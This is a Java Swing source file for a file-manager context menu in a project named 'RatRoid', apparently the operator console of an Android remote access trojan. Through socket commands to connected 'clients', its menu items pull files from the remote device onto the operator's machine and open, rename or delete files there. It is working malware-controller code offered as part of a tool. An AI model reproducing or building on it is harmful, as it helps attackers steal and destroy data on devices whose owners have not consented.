/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package GUI;

import Control.Clients;
import RatRoid.Main;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPopupMenu;
import javax.swing.SwingWorker;

/**
 *
 * @author Sam
 */
public class FilePopupMenu extends JPopupMenu {

    JMenuItem down;
    JMenuItem open;
    JMenuItem refresh;
    JMenuItem rename;
    JMenuItem delete;

    public FilePopupMenu(final FileGui fmgr) {
        refresh = new JMenuItem("Refresh List");
        refresh.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/frefresh.png")));
        refresh.addActionListener(new java.awt.event.ActionListener() {
            @Override
            public void actionPerformed(java.awt.event.ActionEvent evt) {

                SwingWorker worker = new SwingWorker<Void, Void>() {
                    @Override
                    protected Void doInBackground() throws Exception {
                        String path = fmgr.getptext();
                        fmgr.data(Main.threads, path);
                        return null;
                    }
                };
                worker.execute();

            }
        });

        add(refresh);

        down = new JMenuItem("Download File");
        down.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/fdown.png")));
        down.addActionListener(new java.awt.event.ActionListener() {
            @Override
            public void actionPerformed(java.awt.event.ActionEvent evt) {

                SwingWorker worker = new SwingWorker<Void, Void>() {
                    @Override
                    protected Void doInBackground() throws Exception {
                        String x = fmgr.getTitle();
                        x = x.substring(17, x.length());
                        for (final Clients client1 : Main.threads.getthreads()) {
                            if (client1.getthread().getName().equals(x)) {
                                int rowindex = fmgr.Tfile.jTable1.getSelectedRow();
                                if (fmgr.Tfile.mymodel.getfiles().get(rowindex).gettype().equals("File")) {
                                    if (client1.available) {
                                        client1.available = false;
                                        client1.doing = " This Client is Downloading a file, please try again in a second ";
                                        String path = fmgr.Tfile.mymodel.getfiles().get(rowindex).getpath();
                                        String name = fmgr.Tfile.mymodel.getfiles().get(rowindex).getname();
                                        String size = fmgr.Tfile.mymodel.getfiles().get(rowindex).getsize();
                                        int filesize = Integer.parseInt(size);
                                        PrintWriter out;
                                        PrintWriter in1;
                                        BufferedReader in;
                                        String[] recep1;
                                        ObjectOutputStream oos1;
                                        OutputStream os1;
                                        try {
                                            out = new PrintWriter(client1.getsocket().getOutputStream());
                                            out.println("fdo" + x);
                                            out.flush();
                                            in1 = new PrintWriter(client1.getsocket().getOutputStream());
                                            in = new BufferedReader(new InputStreamReader(client1.getsocket().getInputStream()));
                                            String lsnmsg = in.readLine();
                                            recep1 = new String[]{path};
                                            os1 = client1.getsocket().getOutputStream();
                                            oos1 = new ObjectOutputStream(os1);
                                            oos1.writeObject(recep1);
                                            oos1.flush();
                                            File dir = new File("./" + x);
                                            if (!dir.exists()) {
                                                dir.mkdirs();
                                            }
                                            FileOutputStream fos = new FileOutputStream("./" + x + "/" + name);
                                            InputStream inw = client1.getsocket().getInputStream();
                                            OutputStream outw = fos;
                                            fmgr.progress().setMaximum(100);
                                            fmgr.progress().setMinimum(0);
                                            int nBytesReceived = 0;
                                            byte[] buf = new byte[4000];
                                            int len = 0;
                                            while ((len = inw.read(buf)) != -1) {
                                                outw.write(buf, 0, len);
                                                nBytesReceived += len;
                                                fmgr.progress().setValue(nBytesReceived * 100 / filesize);
                                                if (nBytesReceived == filesize) {
                                                    break;
                                                }
                                            }
                                            fos.close();
                                            outw.flush();

                                            client1.available = true;

                                        } catch (IOException e) {
                                            client1.available = true;

                                        }

                                        client1.available = true;
                                    } else {
                                        Thread msgThread = new Thread(new Runnable() {
                                            @Override
                                            public void run() {
                                                JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                                            }
                                        });
                                        msgThread.start();
                                    }
                                }
                            }
                        }
                        return null;
                    }
                };
                worker.execute();

            }
        });
        add(down);

        open = new JMenuItem("Open File");
        open.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/open0.png")));
        open.addActionListener(new java.awt.event.ActionListener() {
            @Override
            public void actionPerformed(java.awt.event.ActionEvent evt) {

                String x = fmgr.getTitle();
                x = x.substring(17, x.length());

                for (final Clients client1 : Main.threads.getthreads()) {
                    if (client1.getthread().getName().equals(x)) {
                        int rowindex = fmgr.Tfile.jTable1.getSelectedRow();
                        if (fmgr.Tfile.mymodel.getfiles().get(rowindex).gettype().equals("File")) {
                            String path = fmgr.Tfile.mymodel.getfiles().get(rowindex).getpath();

                            PrintWriter out;
                            PrintWriter in1;
                            BufferedReader in;
                            if (client1.available) {
                                client1.available = false;
                                client1.doing = " This Client is opening a file, please try again in a second ";
                                try {
                                    out = new PrintWriter(client1.getsocket().getOutputStream());

                                    out.println("fop" + x);
                                    out.flush();

                                    in1 = new PrintWriter(client1.getsocket().getOutputStream());
                                    in = new BufferedReader(new InputStreamReader(client1.getsocket().getInputStream()));
                                    String lsnmsg = in.readLine();
                                    out.println(path);
                                    out.flush();
                                    client1.available = true;

                                } catch (IOException e) {
                                    //this.dispose();
                                    client1.available = true;

                                }

                                client1.available = true;
                            } else {
                                Thread msgThread = new Thread(new Runnable() {
                                    @Override
                                    public void run() {
                                        JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                                    }
                                });
                                msgThread.start();
                            }

                        }
                    }
                }
            }
        });

        add(open);
        rename = new JMenuItem("Rename");
        rename.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/rename.png")));
        rename.addActionListener(new java.awt.event.ActionListener() {
            @Override
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                //fmgr = new FileGui("initi");
                String x = fmgr.getTitle();
                x = x.substring(17, x.length());

                for (final Clients client1 : Main.threads.getthreads()) {
                    if (client1.getthread().getName().equals(x)) {
                        int rowindex = fmgr.Tfile.jTable1.getSelectedRow();
                        String path = fmgr.Tfile.mymodel.getfiles().get(rowindex).getpath();
                        String oldname = fmgr.Tfile.mymodel.getfiles().get(rowindex).getname();
                        path = path.replace("/" + oldname, "");
                        String newname = JOptionPane.showInputDialog(fmgr, "Please Choose New Name !", "Rename File !", JOptionPane.QUESTION_MESSAGE);
                        if (newname.equals("")) {
                            newname = oldname;
                        }

                        ObjectInputStream ois1;
                        InputStream is1;
                        PrintWriter out;
                        PrintWriter in1;
                        BufferedReader in;
                        String[] recep1;
                        ObjectOutputStream oos1;
                        OutputStream os1;
                        if (client1.available) {
                            client1.available = false;
                            client1.doing = " This Client is renaming a file,please try again in a second ";
                            try {
                                out = new PrintWriter(client1.getsocket().getOutputStream());

                                out.println("fre" + x);
                                out.flush();

                                in1 = new PrintWriter(client1.getsocket().getOutputStream());
                                in = new BufferedReader(new InputStreamReader(client1.getsocket().getInputStream()));
                                String lsnmsg = in.readLine();
                                recep1 = new String[]{path, oldname, newname};
                                os1 = client1.getsocket().getOutputStream();
                                oos1 = new ObjectOutputStream(os1);
                                oos1.writeObject(recep1);
                                oos1.flush();
                                client1.available = true;

                            } catch (IOException e) {
                                //this.dispose();
                                client1.available = true;

                            }

                            client1.available = true;
                        } else {
                            Thread msgThread = new Thread(new Runnable() {
                                @Override
                                public void run() {
                                    JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                                }
                            });
                            msgThread.start();
                        }
                    }
                }
            }
        });
        add(rename);

        delete = new JMenuItem("Delete");
        delete.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/fdelete.png")));
        delete.addActionListener(new java.awt.event.ActionListener() {
            @Override
            public void actionPerformed(java.awt.event.ActionEvent evt) {

                int reply = JOptionPane.showConfirmDialog(null,
                        "Are you sure you want to delete ?",
                        "Confirm Delete ",
                        JOptionPane.YES_NO_OPTION);

                if (reply == JOptionPane.YES_OPTION) {

                    String x = fmgr.getTitle();
                    x = x.substring(17, x.length());

                    for (final Clients client1 : Main.threads.getthreads()) {
                        if (client1.getthread().getName().equals(x)) {
                            int rowindex = fmgr.Tfile.jTable1.getSelectedRow();
                            String path = fmgr.Tfile.mymodel.getfiles().get(rowindex).getpath();

                            ObjectInputStream ois1;
                            InputStream is1;
                            PrintWriter out;
                            PrintWriter in1;
                            BufferedReader in;
                            String[] recep1;
                            ObjectOutputStream oos1;
                            OutputStream os1;
                            if (client1.available) {
                                client1.available = false;
                                client1.doing = " This Client is deleting a file,please try again in a second ";
                                try {
                                    out = new PrintWriter(client1.getsocket().getOutputStream());

                                    out.println("del" + x);
                                    out.flush();

                                    in1 = new PrintWriter(client1.getsocket().getOutputStream());
                                    in = new BufferedReader(new InputStreamReader(client1.getsocket().getInputStream()));
                                    String lsnmsg = in.readLine();
                                    recep1 = new String[]{path};
                                    os1 = client1.getsocket().getOutputStream();
                                    oos1 = new ObjectOutputStream(os1);
                                    oos1.writeObject(recep1);
                                    oos1.flush();
                                    client1.available = true;

                                } catch (IOException e) {
                                    //this.dispose();
                                    client1.available = true;

                                }

                                client1.available = true;
                            } else {
                                Thread msgThread = new Thread(new Runnable() {
                                    @Override
                                    public void run() {
                                        JOptionPane.showMessageDialog(null, client1.doing, "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                                    }
                                });
                                msgThread.start();
                            }

                        }
                    }

                } else {

                }
            }
        });
        add(delete);

    }
}
